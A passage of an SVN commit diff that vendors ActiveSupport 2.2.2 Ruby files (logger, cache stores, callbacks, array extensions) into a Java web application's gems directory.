+# Ruby 1.9's BasicObject in Ruby 1.9.
+module ActiveSupport
+  if defined? ::BasicObject
+    class BasicObject < ::BasicObject
+      undef_method :==
+      undef_method :equal?
+
+      # Let ActiveSupport::BasicObject at least raise exceptions.
+      def raise(*args)
+        ::Object.send(:raise, *args)
+      end
+    end
+  else
+    require 'blankslate'
+    BasicObject = BlankSlate
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/buffered_logger.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/buffered_logger.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/buffered_logger.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,122 @@
+module ActiveSupport
+  # Inspired by the buffered logger idea by Ezra
+  class BufferedLogger
+    module Severity
+      DEBUG   = 0
+      INFO    = 1
+      WARN    = 2
+      ERROR   = 3
+      FATAL   = 4
+      UNKNOWN = 5
+    end
+    include Severity
+
+    MAX_BUFFER_SIZE = 1000
+
+    # Set to false to disable the silencer
+    cattr_accessor :silencer
+    self.silencer = true
+
+    # Silences the logger for the duration of the block.
+    def silence(temporary_level = ERROR)
+      if silencer
+        begin
+          old_logger_level, self.level = level, temporary_level
+          yield self
+        ensure
+          self.level = old_logger_level
+        end
+      else
+        yield self
+      end
+    end
+
+    attr_accessor :level
+    attr_reader :auto_flushing
+
+    def initialize(log, level = DEBUG)
+      @level         = level
+      @buffer        = {}
+      @auto_flushing = 1
+      @guard = Mutex.new
+
+      if log.respond_to?(:write)
+        @log = log
+      elsif File.exist?(log)
+        @log = open(log, (File::WRONLY | File::APPEND))
+        @log.sync = true
+      else
+        FileUtils.mkdir_p(File.dirname(log))
+        @log = open(log, (File::WRONLY | File::APPEND | File::CREAT))
+        @log.sync = true
+        @log.write("# Logfile created on %s" % [Time.now.to_s])
+      end
+    end
+
+    def add(severity, message = nil, progname = nil, &block)
+      return if @level > severity
+      message = (message || (block && block.call) || progname).to_s
+      # If a newline is necessary then create a new message ending with a newline.
+      # Ensures that the original message is not mutated.
+      message = "#{message}\n" unless message[-1] == ?\n
+      buffer << message
+      auto_flush
+      message
+    end
+
+    for severity in Severity.constants
+      class_eval <<-EOT, __FILE__, __LINE__
+        def #{severity.downcase}(message = nil, progname = nil, &block)
+          add(#{severity}, message, progname, &block)
+        end
+
+        def #{severity.downcase}?
+          #{severity} >= @level
+        end
+      EOT
+    end
+
+    # Set the auto-flush period. Set to true to flush after every log message,
+    # to an integer to flush every N messages, or to false, nil, or zero to
+    # never auto-flush. If you turn auto-flushing off, be sure to regularly
+    # flush the log yourself -- it will eat up memory until you do.
+    def auto_flushing=(period)
+      @auto_flushing =
+        case period
+        when true;                1
+        when false, nil, 0;       MAX_BUFFER_SIZE
+        when Integer;             period
+        else raise ArgumentError, "Unrecognized auto_flushing period: #{period.inspect}"
+        end
+    end
+
+    def flush
+      @guard.synchronize do
+        unless buffer.empty?
+          old_buffer = buffer
+          clear_buffer
+          @log.write(old_buffer.join)
+        end
+      end
+    end
+
+    def close
+      flush
+      @log.close if @log.respond_to?(:close)
+      @log = nil
+    end
+
+    protected
+      def auto_flush
+        flush if buffer.size >= @auto_flushing
+      end
+
+      def buffer
+        @buffer[Thread.current] ||= []
+      end
+
+      def clear_buffer
+        @buffer.delete(Thread.current)
+      end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/cache/compressed_mem_cache_store.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/cache/compressed_mem_cache_store.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/cache/compressed_mem_cache_store.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,20 @@
+module ActiveSupport
+  module Cache
+    class CompressedMemCacheStore < MemCacheStore
+      def read(name, options = nil)
+        if value = super(name, (options || {}).merge(:raw => true))
+          if raw?(options)
+            value
+          else
+            Marshal.load(ActiveSupport::Gzip.decompress(value))
+          end
+        end
+      end
+
+      def write(name, value, options = nil)
+        value = ActiveSupport::Gzip.compress(Marshal.dump(value)) unless raw?(options)
+        super(name, value, (options || {}).merge(:raw => true))
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/cache/drb_store.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/cache/drb_store.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/cache/drb_store.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,15 @@
+require 'drb'
+
+module ActiveSupport
+  module Cache
+    class DRbStore < MemoryStore #:nodoc:
+      attr_reader :address
+
+      def initialize(address = 'druby://localhost:9192')
+        super()
+        @address = address
+        @data = DRbObject.new(nil, address)
+      end
+    end
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/cache/file_store.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/cache/file_store.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/cache/file_store.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,72 @@
+module ActiveSupport
+  module Cache
+    # A cache store implementation which stores everything on the filesystem.
+    class FileStore < Store
+      attr_reader :cache_path
+
+      def initialize(cache_path)
+        @cache_path = cache_path
+      end
+
+      def read(name, options = nil)
+        super
+        File.open(real_file_path(name), 'rb') { |f| Marshal.load(f) } rescue nil
+      end
+
+      def write(name, value, options = nil)
+        super
+        ensure_cache_path(File.dirname(real_file_path(name)))
+        File.atomic_write(real_file_path(name), cache_path) { |f| Marshal.dump(value, f) }
+        value
+      rescue => e
+        logger.error "Couldn't create cache directory: #{name} (#{e.message})" if logger
+      end
+
+      def delete(name, options = nil)
+        super
+        File.delete(real_file_path(name))
+      rescue SystemCallError => e
+        # If there's no cache, then there's nothing to complain about
+      end
+
+      def delete_matched(matcher, options = nil)
+        super
+        search_dir(@cache_path) do |f|
+          if f =~ matcher
+            begin
+              File.delete(f)
+            rescue SystemCallError => e
+              # If there's no cache, then there's nothing to complain about
+            end
+          end
+        end
+      end
+
+      def exist?(name, options = nil)
+        super
+        File.exist?(real_file_path(name))
+      end
+
+      private
+        def real_file_path(name)
+          '%s/%s.cache' % [@cache_path, name.gsub('?', '.').gsub(':', '.')]
+        end
+
+        def ensure_cache_path(path)
+          FileUtils.makedirs(path) unless File.exist?(path)
+        end
+
+        def search_dir(dir, &callback)
+          Dir.foreach(dir) do |d|
+            next if d == "." || d == ".."
+            name = File.join(dir, d)
+            if File.directory?(name)
+              search_dir(name, &callback)
+            else
+              callback.call name
+            end
+          end
+        end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/cache/mem_cache_store.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/cache/mem_cache_store.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/cache/mem_cache_store.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,127 @@
+require 'memcache'
+
+module ActiveSupport
+  module Cache
+    # A cache store implementation which stores data in Memcached:
+    # http://www.danga.com/memcached/
+    #
+    # This is currently the most popular cache store for production websites.
+    #
+    # Special features:
+    # - Clustering and load balancing. One can specify multiple memcached servers,
+    #   and MemCacheStore will load balance between all available servers. If a
+    #   server goes down, then MemCacheStore will ignore it until it goes back
+    #   online.
+    # - Time-based expiry support. See #write and the +:expires_in+ option.
+    class MemCacheStore < Store
+      module Response # :nodoc:
+        STORED      = "STORED\r\n"
+        NOT_STORED  = "NOT_STORED\r\n"
+        EXISTS      = "EXISTS\r\n"
+        NOT_FOUND   = "NOT_FOUND\r\n"
+        DELETED     = "DELETED\r\n"
+      end
+
+      attr_reader :addresses
+
+      # Creates a new MemCacheStore object, with the given memcached server
+      # addresses. Each address is either a host name, or a host-with-port string
+      # in the form of "host_name:port". For example:
+      #
+      #   ActiveSupport::Cache::MemCacheStore.new("localhost", "server-downstairs.localnetwork:8229")
+      #
+      # If no addresses are specified, then MemCacheStore will connect to
+      # localhost port 11211 (the default memcached port).
+      def initialize(*addresses)
+        addresses = addresses.flatten
+        options = addresses.extract_options!
+        addresses = ["localhost"] if addresses.empty?
+        @addresses = addresses
+        @data = MemCache.new(addresses, options)
+      end
+
+      def read(key, options = nil) # :nodoc:
+        super
+        @data.get(key, raw?(options))
+      rescue MemCache::MemCacheError => e
+        logger.error("MemCacheError (#{e}): #{e.message}")
+        nil
+      end
+
+      # Writes a value to the cache.
+      #
+      # Possible options:
+      # - +:unless_exist+ - set to true if you don't want to update the cache
+      #   if the key is already set.
+      # - +:expires_in+ - the number of seconds that this value may stay in
+      #   the cache. See ActiveSupport::Cache::Store#write for an example.
+      def write(key, value, options = nil)
+        super
+        method = options && options[:unless_exist] ? :add : :set
+        # memcache-client will break the connection if you send it an integer
+        # in raw mode, so we convert it to a string to be sure it continues working.
+        value = value.to_s if raw?(options)
+        response = @data.send(method, key, value, expires_in(options), raw?(options))
+        response == Response::STORED
+      rescue MemCache::MemCacheError => e
+        logger.error("MemCacheError (#{e}): #{e.message}")
+        false
+      end
+
+      def delete(key, options = nil) # :nodoc:
+        super
+        response = @data.delete(key, expires_in(options))
+        response == Response::DELETED
+      rescue MemCache::MemCacheError => e
+        logger.error("MemCacheError (#{e}): #{e.message}")
+        false
+      end
+
+      def exist?(key, options = nil) # :nodoc:
+        # Doesn't call super, cause exist? in memcache is in fact a read
+        # But who cares? Reading is very fast anyway
+        !read(key, options).nil?
+      end
+
+      def increment(key, amount = 1) # :nodoc:
+        log("incrementing", key, amount)
+
+        response = @data.incr(key, amount)
+        response == Response::NOT_FOUND ? nil : response
+      rescue MemCache::MemCacheError
+        nil
+      end
+
+      def decrement(key, amount = 1) # :nodoc:
+        log("decrement", key, amount)
+
+        response = @data.decr(key, amount)
+        response == Response::NOT_FOUND ? nil : response
+      rescue MemCache::MemCacheError
+        nil
+      end
+
+      def delete_matched(matcher, options = nil) # :nodoc:
+        super
+        raise "Not supported by Memcache"
+      end
+
+      def clear
+        @data.flush_all
+      end
+
+      def stats
+        @data.stats
+      end
+
+      private
+        def expires_in(options)
+          (options && options[:expires_in]) || 0
+        end
+
+        def raw?(options)
+          options && options[:raw]
+        end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/cache/memory_store.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/cache/memory_store.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/cache/memory_store.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,52 @@
+module ActiveSupport
+  module Cache
+    # A cache store implementation which stores everything into memory in the
+    # same process. If you're running multiple Ruby on Rails server processes
+    # (which is the case if you're using mongrel_cluster or Phusion Passenger),
+    # then this means that your Rails server process instances won't be able
+    # to share cache data with each other. If your application never performs
+    # manual cache item expiry (e.g. when you're using generational cache keys),
+    # then using MemoryStore is ok. Otherwise, consider carefully whether you
+    # should be using this cache store.
+    #
+    # MemoryStore is not only able to store strings, but also arbitrary Ruby
+    # objects.
+    #
+    # MemoryStore is not thread-safe. Use SynchronizedMemoryStore instead
+    # if you need thread-safety.
+    class MemoryStore < Store
+      def initialize
+        @data = {}
+      end
+
+      def read(name, options = nil)
+        super
+        @data[name]
+      end
+
+      def write(name, value, options = nil)
+        super
+        @data[name] = value.freeze
+      end
+
+      def delete(name, options = nil)
+        super
+        @data.delete(name)
+      end
+
+      def delete_matched(matcher, options = nil)
+        super
+        @data.delete_if { |k,v| k =~ matcher }
+      end
+
+      def exist?(name,options = nil)
+        super
+        @data.has_key?(name)
+      end
+
+      def clear
+        @data.clear
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/cache/synchronized_memory_store.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/cache/synchronized_memory_store.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/cache/synchronized_memory_store.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,47 @@
+module ActiveSupport
+  module Cache
+    # Like MemoryStore, but thread-safe.
+    class SynchronizedMemoryStore < MemoryStore
+      def initialize
+        super
+        @guard = Monitor.new
+      end
+
+      def fetch(key, options = {})
+        @guard.synchronize { super }
+      end
+
+      def read(name, options = nil)
+        @guard.synchronize { super }
+      end
+
+      def write(name, value, options = nil)
+        @guard.synchronize { super }
+      end
+
+      def delete(name, options = nil)
+        @guard.synchronize { super }
+      end
+
+      def delete_matched(matcher, options = nil)
+        @guard.synchronize { super }
+      end
+
+      def exist?(name,options = nil)
+        @guard.synchronize { super }
+      end
+
+      def increment(key, amount = 1)
+        @guard.synchronize { super }
+      end
+
+      def decrement(key, amount = 1)
+        @guard.synchronize { super }
+      end
+
+      def clear
+        @guard.synchronize { super }
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/cache.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/cache.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/cache.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,223 @@
+require 'benchmark'
+
+module ActiveSupport
+  # See ActiveSupport::Cache::Store for documentation.
+  module Cache
+    # Creates a new CacheStore object according to the given options.
+    #
+    # If no arguments are passed to this method, then a new
+    # ActiveSupport::Cache::MemoryStore object will be returned.
+    #
+    # If you pass a Symbol as the first argument, then a corresponding cache
+    # store class under the ActiveSupport::Cache namespace will be created.
+    # For example:
+    #
+    #   ActiveSupport::Cache.lookup_store(:memory_store)
+    #   # => returns a new ActiveSupport::Cache::MemoryStore object
+    #   
+    #   ActiveSupport::Cache.lookup_store(:drb_store)
+    #   # => returns a new ActiveSupport::Cache::DRbStore object
+    #
+    # Any additional arguments will be passed to the corresponding cache store
+    # class's constructor:
+    #
+    #   ActiveSupport::Cache.lookup_store(:file_store, "/tmp/cache")
+    #   # => same as: ActiveSupport::Cache::FileStore.new("/tmp/cache")
+    #
+    # If the first argument is not a Symbol, then it will simply be returned:
+    #
+    #   ActiveSupport::Cache.lookup_store(MyOwnCacheStore.new)
+    #   # => returns MyOwnCacheStore.new
+    def self.lookup_store(*store_option)
+      store, *parameters = *([ store_option ].flatten)
+
+      case store
+      when Symbol
+        store_class_name = (store == :drb_store ? "DRbStore" : store.to_s.camelize)
+        store_class = ActiveSupport::Cache.const_get(store_class_name)
+        store_class.new(*parameters)
+      when nil
+        ActiveSupport::Cache::MemoryStore.new
+      else
+        store
+      end
+    end
+
+    def self.expand_cache_key(key, namespace = nil)
+      expanded_cache_key = namespace ? "#{namespace}/" : ""
+
+      if ENV["RAILS_CACHE_ID"] || ENV["RAILS_APP_VERSION"]
+        expanded_cache_key << "#{ENV["RAILS_CACHE_ID"] || ENV["RAILS_APP_VERSION"]}/"
+      end
+
+      expanded_cache_key << case
+        when key.respond_to?(:cache_key)
+          key.cache_key
+        when key.is_a?(Array)
+          key.collect { |element| expand_cache_key(element) }.to_param
+        when key
+          key.to_param
+        end.to_s
+
+      expanded_cache_key
+    end
+
+    # An abstract cache store class. There are multiple cache store
+    # implementations, each having its own additional features. See the classes
+    # under the ActiveSupport::Cache module, e.g.
+    # ActiveSupport::Cache::MemCacheStore. MemCacheStore is currently the most
+    # popular cache store for large production websites.
+    #
+    # ActiveSupport::Cache::Store is meant for caching strings. Some cache
+    # store implementations, like MemoryStore, are able to cache arbitrary
+    # Ruby objects, but don't count on every cache store to be able to do that.
+    #
+    #   cache = ActiveSupport::Cache::MemoryStore.new
+    #   
+    #   cache.read("city")   # => nil
+    #   cache.write("city", "Duckburgh")
+    #   cache.read("city")   # => "Duckburgh"
+    class Store
+      cattr_accessor :logger
+
+      def silence!
+        @silence = true
+        self
+      end
+
+      # Fetches data from the cache, using the given key. If there is data in
+      # the cache with the given key, then that data is returned.
+      #
+      # If there is no such data in the cache (a cache miss occurred), then
+      # then nil will be returned. However, if a block has been passed, then
+      # that block will be run in the event of a cache miss. The return value
+      # of the block will be written to the cache under the given cache key,
+      # and that return value will be returned.
+      #
+      #   cache.write("today", "Monday")
+      #   cache.fetch("today")  # => "Monday"
+      #   
+      #   cache.fetch("city")   # => nil
+      #   cache.fetch("city") do
+      #     "Duckburgh"
+      #   end
+      #   cache.fetch("city")   # => "Duckburgh"
+      #
+      # You may also specify additional options via the +options+ argument.
+      # Setting <tt>:force => true</tt> will force a cache miss:
+      #
+      #   cache.write("today", "Monday")
+      #   cache.fetch("today", :force => true)  # => nil
+      #
+      # Other options will be handled by the specific cache store implementation.
+      # Internally, #fetch calls #read, and calls #write on a cache miss.
+      # +options+ will be passed to the #read and #write calls.
+      #
+      # For example, MemCacheStore's #write method supports the +:expires_in+
+      # option, which tells the memcached server to automatically expire the
+      # cache item after a certain period. We can use this option with #fetch
+      # too:
+      #
+      #   cache = ActiveSupport::Cache::MemCacheStore.new
+      #   cache.fetch("foo", :force => true, :expires_in => 5.seconds) do
+      #     "bar"
+      #   end
+      #   cache.fetch("foo")  # => "bar"
+      #   sleep(6)
+      #   cache.fetch("foo")  # => nil
+      def fetch(key, options = {})
+        @logger_off = true
+        if !options[:force] && value = read(key, options)
+          @logger_off = false
+          log("hit", key, options)
+          value
+        elsif block_given?
+          @logger_off = false
+          log("miss", key, options)
+
+          value = nil
+          seconds = Benchmark.realtime { value = yield }
+
+          @logger_off = true
+          write(key, value, options)
+          @logger_off = false
+
+          log("write (will save #{'%.2f' % (seconds * 1000)}ms)", key, nil)
+
+          value
+        end
+      end
+
+      # Fetches data from the cache, using the given key. If there is data in
+      # the cache with the given key, then that data is returned. Otherwise,
+      # nil is returned.
+      #
+      # You may also specify additional options via the +options+ argument.
+      # The specific cache store implementation will decide what to do with
+      # +options+.
+      def read(key, options = nil)
+        log("read", key, options)
+      end
+
+      # Writes the given value to the cache, with the given key.
+      #
+      # You may also specify additional options via the +options+ argument.
+      # The specific cache store implementation will decide what to do with
+      # +options+.
+      # 
+      # For example, MemCacheStore supports the +:expires_in+ option, which
+      # tells the memcached server to automatically expire the cache item after
+      # a certain period:
+      #
+      #   cache = ActiveSupport::Cache::MemCacheStore.new
+      #   cache.write("foo", "bar", :expires_in => 5.seconds)
+      #   cache.read("foo")  # => "bar"
+      #   sleep(6)
+      #   cache.read("foo")  # => nil
+      def write(key, value, options = nil)
+        log("write", key, options)
+      end
+
+      def delete(key, options = nil)
+        log("delete", key, options)
+      end
+
+      def delete_matched(matcher, options = nil)
+        log("delete matched", matcher.inspect, options)
+      end
+
+      def exist?(key, options = nil)
+        log("exist?", key, options)
+      end
+
+      def increment(key, amount = 1)
+        log("incrementing", key, amount)
+        if num = read(key)
+          write(key, num + amount)
+        else
+          nil
+        end
+      end
+
+      def decrement(key, amount = 1)
+        log("decrementing", key, amount)
+        if num = read(key)
+          write(key, num - amount)
+        else
+          nil
+        end
+      end
+
+      private
+        def log(operation, key, options)
+          logger.debug("Cache #{operation}: #{key}#{options ? " (#{options.inspect})" : ""}") if logger && !@silence && !@logger_off
+        end
+    end
+  end
+end
+
+require 'active_support/cache/file_store'
+require 'active_support/cache/memory_store'
+require 'active_support/cache/drb_store'
+require 'active_support/cache/mem_cache_store'
+require 'active_support/cache/compressed_mem_cache_store'

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/callbacks.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/callbacks.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/callbacks.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,280 @@
+module ActiveSupport
+  # Callbacks are hooks into the lifecycle of an object that allow you to trigger logic
+  # before or after an alteration of the object state.
+  #
+  # Mixing in this module allows you to define callbacks in your class.
+  #
+  # Example:
+  #   class Storage
+  #     include ActiveSupport::Callbacks
+  #
+  #     define_callbacks :before_save, :after_save
+  #   end
+  #
+  #   class ConfigStorage < Storage
+  #     before_save :saving_message
+  #     def saving_message
+  #       puts "saving..."
+  #     end
+  #
+  #     after_save do |object|
+  #       puts "saved"
+  #     end
+  #
+  #     def save
+  #       run_callbacks(:before_save)
+  #       puts "- save"
+  #       run_callbacks(:after_save)
+  #     end
+  #   end
+  #
+  #   config = ConfigStorage.new
+  #   config.save
+  #
+  # Output:
+  #   saving...
+  #   - save
+  #   saved
+  #
+  # Callbacks from parent classes are inherited.
+  #
+  # Example:
+  #   class Storage
+  #     include ActiveSupport::Callbacks
+  #
+  #     define_callbacks :before_save, :after_save
+  #
+  #     before_save :prepare
+  #     def prepare
+  #       puts "preparing save"
+  #     end
+  #   end
+  #
+  #   class ConfigStorage < Storage
+  #     before_save :saving_message
+  #     def saving_message
+  #       puts "saving..."
+  #     end
+  #
+  #     after_save do |object|
+  #       puts "saved"
+  #     end
+  #
+  #     def save
+  #       run_callbacks(:before_save)
+  #       puts "- save"
+  #       run_callbacks(:after_save)
+  #     end
+  #   end
+  #
+  #   config = ConfigStorage.new
+  #   config.save
+  #
+  # Output:
+  #   preparing save
+  #   saving...
+  #   - save
+  #   saved
+  module Callbacks
+    class CallbackChain < Array
+      def self.build(kind, *methods, &block)
+        methods, options = extract_options(*methods, &block)
+        methods.map! { |method| Callback.new(kind, method, options) }
+        new(methods)
+      end
+
+      def run(object, options = {}, &terminator)
+        enumerator = options[:enumerator] || :each
+
+        unless block_given?
+          send(enumerator) { |callback| callback.call(object) }
+        else
+          send(enumerator) do |callback|
+            result = callback.call(object)
+            break result if terminator.call(result, object)
+          end
+        end
+      end
+
+      # TODO: Decompose into more Array like behavior
+      def replace_or_append!(chain)
+        if index = index(chain)
+          self[index] = chain
+        else
+          self << chain
+        end
+        self
+      end
+
+      def find(callback, &block)
+        select { |c| c == callback && (!block_given? || yield(c)) }.first
+      end
+
+      def delete(callback)
+        super(callback.is_a?(Callback) ? callback : find(callback))
+      end
+
+      private
+        def self.extract_options(*methods, &block)
+          methods.flatten!
+          options = methods.extract_options!
+          methods << block if block_given?
+          return methods, options
+        end
+
+        def extract_options(*methods, &block)
+          self.class.extract_options(*methods, &block)
+        end
+    end
+
+    class Callback
+      attr_reader :kind, :method, :identifier, :options
+
+      def initialize(kind, method, options = {})
+        @kind       = kind
+        @method     = method
+        @identifier = options[:identifier]
+        @options    = options
+      end
+
+      def ==(other)
+        case other
+        when Callback
+          (self.identifier && self.identifier == other.identifier) || self.method == other.method
+        else
+          (self.identifier && self.identifier == other) || self.method == other
+        end
+      end
+
+      def eql?(other)
+        self == other
+      end
+
+      def dup
+        self.class.new(@kind, @method, @options.dup)
+      end
+
+      def hash
+        if @identifier
+          @identifier.hash
+        else
+          @method.hash
+        end
+      end
+
+      def call(*args, &block)
+        evaluate_method(method, *args, &block) if should_run_callback?(*args)
+      rescue LocalJumpError
+        raise ArgumentError,
+          "Cannot yield from a Proc type filter. The Proc must take two " +
+          "arguments and execute #call on the second argument."
+      end
+
+      private
+        def evaluate_method(method, *args, &block)
+          case method
+            when Symbol
+              object = args.shift
+              object.send(method, *args, &block)
+            when String
+              eval(method, args.first.instance_eval { binding })
+            when Proc, Method
+              method.call(*args, &block)
+            else
+              if method.respond_to?(kind)
+                method.send(kind, *args, &block)
+              else
+                raise ArgumentError,
+                  "Callbacks must be a symbol denoting the method to call, a string to be evaluated, " +
+                  "a block to be invoked, or an object responding to the callback method."
+              end
+          end
+        end
+
+        def should_run_callback?(*args)
+          if options[:if]
+            evaluate_method(options[:if], *args)
+          elsif options[:unless]
+            !evaluate_method(options[:unless], *args)
+          else
+            true
+          end
+        end
+    end
+
+    def self.included(base)
+      base.extend ClassMethods
+    end
+
+    module ClassMethods
+      def define_callbacks(*callbacks)
+        callbacks.each do |callback|
+          class_eval <<-"end_eval"
+            def self.#{callback}(*methods, &block)
+              callbacks = CallbackChain.build(:#{callback}, *methods, &block)
+              (@#{callback}_callbacks ||= CallbackChain.new).concat callbacks
+            end
+
+            def self.#{callback}_callback_chain
+              @#{callback}_callbacks ||= CallbackChain.new
+
+              if superclass.respond_to?(:#{callback}_callback_chain)
+                CallbackChain.new(superclass.#{callback}_callback_chain + @#{callback}_callbacks)
+              else
+                @#{callback}_callbacks
+              end
+            end
+          end_eval
+        end
+      end
+    end
+
+    # Runs all the callbacks defined for the given options.
+    #
+    # If a block is given it will be called after each callback receiving as arguments:
+    #
+    #  * the result from the callback
+    #  * the object which has the callback
+    #
+    # If the result from the block evaluates to false, the callback chain is stopped.
+    #
+    # Example:
+    #   class Storage
+    #     include ActiveSupport::Callbacks
+    #
+    #     define_callbacks :before_save, :after_save
+    #   end
+    #
+    #   class ConfigStorage < Storage
+    #     before_save :pass
+    #     before_save :pass
+    #     before_save :stop
+    #     before_save :pass
+    #
+    #     def pass
+    #       puts "pass"
+    #     end
+    #
+    #     def stop
+    #       puts "stop"
+    #       return false
+    #     end
+    #
+    #     def save
+    #       result = run_callbacks(:before_save) { |result, object| result == false }
+    #       puts "- save" if result
+    #     end
+    #   end
+    #
+    #   config = ConfigStorage.new
+    #   config.save
+    #
+    # Output:
+    #   pass
+    #   pass
+    #   stop
+    def run_callbacks(kind, options = {}, &block)
+      self.class.send("#{kind}_callback_chain").run(self, options, &block)
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/array/access.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/array/access.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/array/access.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,53 @@
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module Array #:nodoc:
+      # Makes it easier to access parts of an array.
+      module Access
+        # Returns the tail of the array from +position+.
+        #
+        #   %w( a b c d ).from(0)  # => %w( a b c d )
+        #   %w( a b c d ).from(2)  # => %w( c d )
+        #   %w( a b c d ).from(10) # => nil
+        #   %w().from(0)           # => nil
+        def from(position)
+          self[position..-1]
+        end
+        
+        # Returns the beginning of the array up to +position+.
+        #
+        #   %w( a b c d ).to(0)  # => %w( a )
+        #   %w( a b c d ).to(2)  # => %w( a b c )
+        #   %w( a b c d ).to(10) # => %w( a b c d )
+        #   %w().to(0)           # => %w()
+        def to(position)
+          self[0..position]
+        end
+
+        # Equal to <tt>self[1]</tt>.
+        def second
+          self[1]
+        end
+
+        # Equal to <tt>self[2]</tt>.
+        def third
+          self[2]
+        end
+
+        # Equal to <tt>self[3]</tt>.
+        def fourth
+          self[3]
+        end
+
+        # Equal to <tt>self[4]</tt>.
+        def fifth
+          self[4]
+        end
+
+        # Equal to <tt>self[41]</tt>. Also known as accessing "the reddit".
+        def forty_two
+          self[41]
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/array/conversions.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/array/conversions.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/array/conversions.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,183 @@
+require 'builder'
+
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module Array #:nodoc:
+      module Conversions
+        # Converts the array to a comma-separated sentence where the last element is joined by the connector word. Options:
+        # * <tt>:connector</tt> - The word used to join the last element in arrays with two or more elements (default: "and")
+        # * <tt>:skip_last_comma</tt> - Set to true to return "a, b and c" instead of "a, b, and c".        
+        def to_sentence(options = {})          
+          options.assert_valid_keys(:connector, :skip_last_comma, :locale)
+          
+          default = I18n.translate(:'support.array.sentence_connector', :locale => options[:locale])
+          default_skip_last_comma = I18n.translate(:'support.array.skip_last_comma', :locale => options[:locale])
+          options.reverse_merge! :connector => default, :skip_last_comma => default_skip_last_comma
+          options[:connector] = "#{options[:connector]} " unless options[:connector].nil? || options[:connector].strip == ''
+
+          case length
+            when 0
+              ""
+            when 1
+              self[0].to_s
+            when 2
+              "#{self[0]} #{options[:connector]}#{self[1]}"
+            else
+              "#{self[0...-1].join(', ')}#{options[:skip_last_comma] ? '' : ','} #{options[:connector]}#{self[-1]}"
+          end
+        end
+        
+
